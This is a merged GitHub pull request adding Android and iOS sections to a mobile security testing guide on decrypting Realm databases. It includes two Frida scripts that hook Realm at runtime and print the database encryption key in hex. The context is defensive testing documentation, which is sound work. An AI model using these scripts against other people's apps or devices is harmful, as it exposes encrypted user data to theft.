Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Updated Decrypting Realm Databases for Android (0x05d) and iOS (0x06d) #2570

Merged
merged 15 commits into from
May 2, 2024
65 changes: 64 additions & 1 deletion Document/0x05d-Testing-Data-Storage.md
Original file line number Diff line number Diff line change
Expand Up @@ -176,7 +176,70 @@

```

cpholguera marked this conversation as resolved.
Show resolved Hide resolved
If the database _is not_ encrypted, you should be able to obtain the data. If the database _is_ encrypted, determine whether the key is hard-coded in the source or resources and whether it is stored unprotected in shared preferences or some other location.

Check failure on line 179 in Document/0x05d-Testing-Data-Storage.md

View workflow job for this annotation

GitHub Actions / markdown-lint-check

Multiple consecutive blank lines [Expected: 1; Actual: 2]
Access to the data depends on the encryption: unencrypted databases are easily accessible, while encrypted ones require investigation into how the key is managed - whether it's hardcoded or stored unencrypted in an insecure location such as shared preferences, or securely in the platform's KeyStore (which is best practice).

However, if an attacker has sufficient access to the device (e.g. root access) or can repackage the app, they can still retrieve encryption keys at runtime using tools like Frida. The following Frida script demonstrates how to intercept the Realm encryption key and access the contents of the encrypted database.

```javascript

'use strict';

function modulus(x, n){
return ((x % n) + n) % n;
}

function bytesToHex(bytes) {
for (var hex = [], i = 0; i < bytes.length; i++) { hex.push(((bytes[i] >>> 4) & 0xF).toString(16).toUpperCase());
hex.push((bytes[i] & 0xF).toString(16).toUpperCase());
}
return hex.join("");
}

function b2s(array) {
var result = "";
for (var i = 0; i < array.length; i++) {
result += String.fromCharCode(modulus(array[i], 256));
}
return result;
}

// Main Modulus and function.

if(Java.available){
console.log("Java is available");
console.log("[+] Android Device.. Hooking Realm Configuration.");

Java.perform(function(){
var RealmConfiguration = Java.use('io.realm.RealmConfiguration');
if(RealmConfiguration){
console.log("[++] Realm Configuration is available");
Java.choose("io.realm.Realm", {
onMatch: function(instance)
{
console.log("[==] Opened Realm Database...Obtaining the key...")
console.log(instance);
console.log(instance.getPath());
console.log(instance.getVersion());
var encryption_key = instance.getConfiguration().getEncryptionKey();
console.log(encryption_key);
console.log("Length of the key: " + encryption_key.length);
console.log("Decryption Key:", bytesToHex(encryption_key));

},
onComplete: function(instance){
RealmConfiguration.$init.overload('java.io.File', 'java.lang.String', '[B', 'long', 'io.realm.RealmMigration', 'boolean', 'io.realm.internal.OsRealmConfig$Durability', 'io.realm.internal.RealmProxyMediator', 'io.realm.rx.RxObservableFactory', 'io.realm.coroutines.FlowFactory', 'io.realm.Realm$Transaction', 'boolean', 'io.realm.CompactOnLaunchCallback', 'boolean', 'long', 'boolean', 'boolean').implementation = function(arg1)
{
console.log("[==] Realm onComplete Finished..")

}
}

});
}
});
}
```

### Internal Storage

Expand Down
45 changes: 45 additions & 0 deletions Document/0x06d-Testing-Data-Storage.md
Original file line number Diff line number Diff line change
Expand Up @@ -95,6 +95,51 @@ do {
}
```

Access to the data depends on the encryption: unencrypted databases are easily accessible, while encrypted ones require investigation into how the key is managed - whether it's hardcoded or stored unencrypted in an insecure location such as shared preferences, or securely in the platform's KeyStore (which is best practice).

cpholguera marked this conversation as resolved.
Show resolved Hide resolved
However, if an attacker has sufficient access to the device (e.g. jailbroken access) or can repackage the app, they can still retrieve encryption keys at runtime using tools like Frida. The following Frida script demonstrates how to intercept the Realm encryption key and access the contents of the encrypted database.

```javascript
function nsdataToHex(data) {
var hexStr = '';
for (var i = 0; i < data.length(); i++) {
var byte = Memory.readU8(data.bytes().add(i));
hexStr += ('0' + (byte & 0xFF).toString(16)).slice(-2);
}
return hexStr;
}

function HookRealm() {
if (ObjC.available) {
console.log("ObjC is available. Attempting to intercept Realm classes...");
const RLMRealmConfiguration = ObjC.classes.RLMRealmConfiguration;
Interceptor.attach(ObjC.classes.RLMRealmConfiguration['- setEncryptionKey:'].implementation, {
onEnter: function(args) {
var encryptionKeyData = new ObjC.Object(args[2]);
console.log(`Encryption Key Length: ${encryptionKeyData.length()}`);
// Hexdump the encryption key
var encryptionKeyBytes = encryptionKeyData.bytes();
console.log(hexdump(encryptionKeyBytes, {
offset: 0,
length: encryptionKeyData.length(),
header: true,
ansi: true
}));

// Convert the encryption key bytes to a hex string
var encryptionKeyHex = nsdataToHex(encryptionKeyData);
console.log(`Encryption Key Hex: ${encryptionKeyHex}`);
},
onLeave: function(retval) {
console.log('Leaving RLMRealmConfiguration.- setEncryptionKey:');
}
});

}

}
```

#### Couchbase Lite Databases

[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios "Couchbase Lite") is a lightweight, embedded, document-oriented (NoSQL) database engine that can be synced. It compiles natively for iOS and macOS.
Expand Down
Loading